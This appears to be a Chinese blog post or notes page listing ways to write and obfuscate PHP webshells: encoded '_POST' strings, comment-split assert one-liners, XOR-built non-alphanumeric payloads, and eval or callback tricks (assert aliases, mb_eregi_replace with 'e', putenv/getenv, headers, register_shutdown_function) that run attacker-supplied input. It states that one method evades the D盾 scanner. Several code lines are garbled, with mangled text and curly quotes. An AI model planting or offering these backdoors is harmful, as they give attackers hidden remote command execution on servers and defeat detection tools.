base64编码:
$b = base64_encode(‘_POST’);
echo $b;
echo ‘<br/>’;
echo base64_decode($b);
gzcompress压缩:
$c = gzcompress('_POST');
echo $c;
echo '
';
echo gzuncompress($c);
注释:
@${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
[]可用{}替换
下面这是运算原理的代码,比较鸡肋,可以去看看yu师傅的文章
https://blog.csdn.net/miuzzx/article/details/109143413
$z = 'A';
for($m=1;$m<127;$m++){
for($n=1;$n<127;$n++){
$a = chr($m);
$b = chr($n);
$c = ($a^$b);
if ($c === $z){
if(preg_match('/[A-Za-z0-9]/',$a)) {
continue;
}elseif(preg_match('/[A-Za-z0-9]/',$b)){
continue;
}else{
echo '("'.urlencode($a).'"^"'.urlencode($b).'")';
echo '
';
}
}
}
}
?>
数组经过强行转化为字符串变为Array
取第一个字母A,然后运算,’A’++后会变成’B’,就可以获得所有字母然后通过字符串拼接的方式实现想要的代码
在PHP手册中提到eval:
因为是一个语言构造器而不是一个函数,不能被可变函数调用。
所以将eval赋给变量a的方式然后再 a ( ) ; 会 报 错 可 变 函 数 : 对 于 a();会报错 可变函数:对于 a();会报错可变函数:对于a();形式PHP会查找与字符串a同名的函数并使用
在PHP手册中对assert是这样说的:
assert() is a language construct in PHP 7
但是它却可以“作为”可变函数使用,但是会报错
如果代码是
$a = ‘assert’;
a ( a( a(_POST[‘a’]);//a=system(‘whoami’);
这样就会报错,(除7.0版本),于是我翻了翻PHP手册是这样说的
In PHP 7, this may also be any expression that returns a value, which will be executed and the result used to indicate whether the assertion succeeded or failed.
大概意思就是任何返回值的表达式,该值将被执行
但是传参过去的是字符串就不能执行
mb_ereg_replace 、 mb_eregi_replace
例如:
mb_eregi_replace(’.*’,$_GET[1],’’,‘e’);
ps:注意PHP版本
use function assert as test;
test($_POST[‘a’]);
ReflectionFunction类,看看PHP手册invokeArgs的方法解释
The passed arguments to the function as an array, much like call_user_func_array() works.
就是说m是函数,c是传入的参数,然后执行这个函数
大同小异,就演示一个吧
截取文件名,最好是从最后开始吧,因为上传了你不知道路径,,,
限于上传文件系统未重命名的情况
putenv($_GET[“c”]);eval(getenv(‘path’));
等等
putenv — 设置环境变量的值
getenv — 获得环境变量的值
function aaa(&$var){
$var = $_POST['a'];
}
$a = "";
aaa($a);
eval($a);
$a = $_GET[‘a’];
var_dump(getallheaders());
eval(getenv(‘HTTP_E’));
回调函数祖师爷call_user_func();就不说了,D盾能测出来,就说说其他的
$a = $_REQUEST['a'];
register_shutdown_function($a,$_REQUEST['aaa']);